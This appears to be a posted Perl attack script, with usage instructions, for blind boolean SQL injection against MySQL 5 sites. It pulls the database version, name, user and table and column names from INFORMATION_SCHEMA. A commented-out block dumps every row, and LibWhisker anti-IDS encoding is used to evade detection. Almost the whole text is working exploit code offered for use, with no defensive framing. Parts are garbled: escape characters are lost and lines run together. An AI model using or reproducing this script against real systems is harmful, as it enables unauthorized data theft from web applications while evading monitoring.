This script uses blind SQL injection and boolean enumeration to perform INFORMATION_SCHEMA Mapping.

Usage:
perl mysql5enum.pl -h [hostname] -u [url] [-q [query]]

Ex:
perl mysql5enum.pl -h www.target.tld -u http://www.target.tld/vuln.ext?input=24 -q “select system_user()”

* By default, this script will first determine username, version and database name before enumerating the information_schema information.
* When the -q flag is applied, a user can supply any query that returns only a single cell
* If the exploit or vulnerability requires a single quote, simply tack %27 to the end of the URI.
* This script contains error detection : It will only work on a mysql 5.x database, and knows when its queries have syntax errors.
* This script uses perl’s LibWhisker2 for IDS Evasion (The same as Nikto).
* This script uses the MD5 algorithm for optimization. There are other optimization methods, and this may not work on all sites.

#!/usr/bin/perl
use strict;
use Getopt::Std;
use Digest::MD5 qw(md5_hex);
use LW2;

my %options = ();
getopts("u:h:q:", %options);

my $url = $options{u}; # Vuln URL
my $host = $options{h}; # Needs this for libwhisker
# Format.
my $count = 0;

if (my $q = $opts{q}) {
$q =~ s/ /%20/g;
my ($cxr, $result) = runQuery($url,$host,$q);
print "Query Result:nt$resultnCalculated in $cxr requests.n";
exit(1);
}

# Get the Database Version
my $query = "SELECT%20VERSION()";
my ($tmp, $version) = runQuery($url, $host, $query);
$count += $tmp;
$count += 2;
print "nDatabase Version:tt$versionnIn $count requests.nn";

# Get the Database Name
$query = "SELECT%20DATABASE()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database Name:tt$answernIn $tmp requests.nn";

# Get the Database Username
$query = "SELECT%20USER()";
my ($tmp,$answer) = runQuery($url, $host, $query);
print "Database User:tt$answernIn $tmp requests.nn";

if ($version =~ /5./g)
{
print "Enumerating Database Spec:n";
getSchema($url,$host);
exit(1);
} else {
print "This is not MySQL v5.x, so I can't enumerate the schema tables!n";
exit(1);
}

sub getSchema
{
my $url = shift;
my $host = shift;
my $query = "SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE())";
$query =~ s/ /%20/g;

my ($c, $val) = runQuery($url,$host,$query);
# $val = number of table names in the current database.
for (my $i=0; $i < int($val); ++$i) { $query = "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(SELECT DATABASE()) LIMIT $i,1"; $query =~ s/ /%20/g; my ($q, $table) = runQuery($url,$host,$query); print "$table:n"; # $table = table name $query = "SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="; $query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="; $query .= "(SELECT DATABASE()) LIMIT $i,1)"; $query =~ s/ /%20/g; my ($r, $fcount) = runQuery($url,$host,$query); # $fcount - number of columns in the table for (my $n = 0; $n < int($fcount); ++$n) { $query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="; $query .= "(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="; $query .= "(SELECT DATABASE()) LIMIT $i,1) LIMIT $n,1"; $query =~ s/ /%20/g; my ($o, $field) = runQuery($url,$host,$query); print "t$fieldn"; # Uncomment the lines below to # scrape the entire database. # $query = "SELECT COUNT($field) FROM $table"; # $query =~ s/ /%20/g; # my ($r, $total) = runQuery($url,$host,$query); # for (my $cn = 0; $cn < $total; $cn++) # { # $query = "SELECT $field FROM $table LIMIT $cn,1"; # $query =~ s/ /%20/g; # my ($e, $data) = runQuery($url,$host,$query); # print "tt$datan"; # } } } } sub runQuery { my $url = shift; my $host = shift; my $query = shift; my $qCount; my $qCH; my $pos = 1; my $floor = 0; # Bottom of ascii keyrange my $ceiling = 255; # Top of ascii keyrange my $spacer = "%20OR%20"; my $truth = "62=62/*"; my $lie = "88=98/*"; my ($true, $false) = makeTrueFalse($url, $spacer, $truth, $lie, $host); my $lenUri = "$url" . queryConstruct(0, 0, $spacer, $query); my ($qCH, $len) = getValue($lenUri, 64, 0, $true, $false, $host); $qCount += $qCH; my $results = ""; while (($pos < $len) || ($pos eq $len)) { my $uri = "$url" . queryConstruct(1, $pos, $spacer, $query); #construct the actual URI my ($qCH, $value) = getValue($uri, $ceiling, $floor, $true, $false, $host); $qCount += $qCH; my $char = chr("$value"); $results .= $char; ++$pos; } return ($qCount, $results); } #Logrithm sub getValue { my $uri = shift; my $ceiling = shift; my $floor = shift; my $true = shift; my $false = shift; my $host = shift; my $nextmaybe; my $target; my $qCount = 0; my $maybe = int($ceiling/2); # Get the middle of the total possible range of values while (not defined $target) { if (isGT($uri, $maybe, $host) eq $true) { ++$qCount; $floor = $maybe; $nextmaybe = int($maybe + (($ceiling - $floor)/2)); } elsif (isLT($uri, $maybe, $host) eq $true) { ++$qCount; $ceiling = $maybe; $nextmaybe = int($maybe - (($ceiling - $floor)/2)); } elsif (isEQ($uri, $maybe, $host) eq $true) { ++$qCount; $target = $maybe; return ($qCount, $target); } $maybe = $nextmaybe; if (($maybe eq "") || (!$maybe) || (not defined $maybe)) { print "SQL Error caught! Aborting!n"; print "At least 3 queries in error log!n"; exit(1); } } } # Is greater than? sub isGT { my $uri = shift; my $guess = shift; my $host = shift; return (md5_hex(download("$uri>$guess)/*", $host)));
}

# Is less than?
sub isLT
{
my $uri = shift;
my $guess = shift;
my $host = shift;
return (md5_hex(download("$uri<$guess)/*", $host))); } # Is equal to? sub isEQ { my $uri = shift; my $guess = shift; my $host = shift; return (md5_hex(download("$uri=$guess)/*", $host))); } # Ripped off from an older version of the scanner sub download { my $uri = shift; my $try = 5; my $host = shift; my %request; my %response; LW2::http_init_request(%request); $request{'whisker'}->{'method'} = "GET";
$request{'whisker'}->{'host'} = $host;
$request{'whisker'}->{'uri'} = $uri;
$request{'whisker'}->{'encode_anti_ids'} = 962;
$request{'whisker'}->{'user-agent'} = "wget";
LW2::http_fixup_request(%request);
if(LW2::http_do_request(%request, %response)) {
if($try < 5) { print "Failed to fetch $uri on try $try. Retrying...n"; return undef if(!download($uri, $try++)); } print "Failed to fetch $uri.n"; return undef; } else { return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
}
}

sub queryConstruct
{
my $type = shift;
my $pos = shift;
my $spacer = shift;
my $query = shift;

if ($type eq 0) # Len
{
my $newQuery = "LENGTH(($query))";
my $padding = "(";
my $ender = "";
return ("$spacer$padding$newQuery$ender");
} elsif ($type eq 1) # String
{
my $padding = "((ASCII((LOWER((MID(("; # Begin query construct
my $ender = "),$pos,1))))))"; # End query Construct
return ("$spacer$padding$query$ender"); #construct the actual query
}
}

sub makeTrueFalse
{
my $url = shift;
my $spacer = shift;
my $truth = shift;
my $lie = shift;
my $host = shift;
my $trueMD = md5_hex(download("$url$spacer$truth", $host));
my $falsMD = md5_hex(download("$url$spacer$lie", $host));

# returns true, false
return ($trueMD, $falsMD);
}

soruce here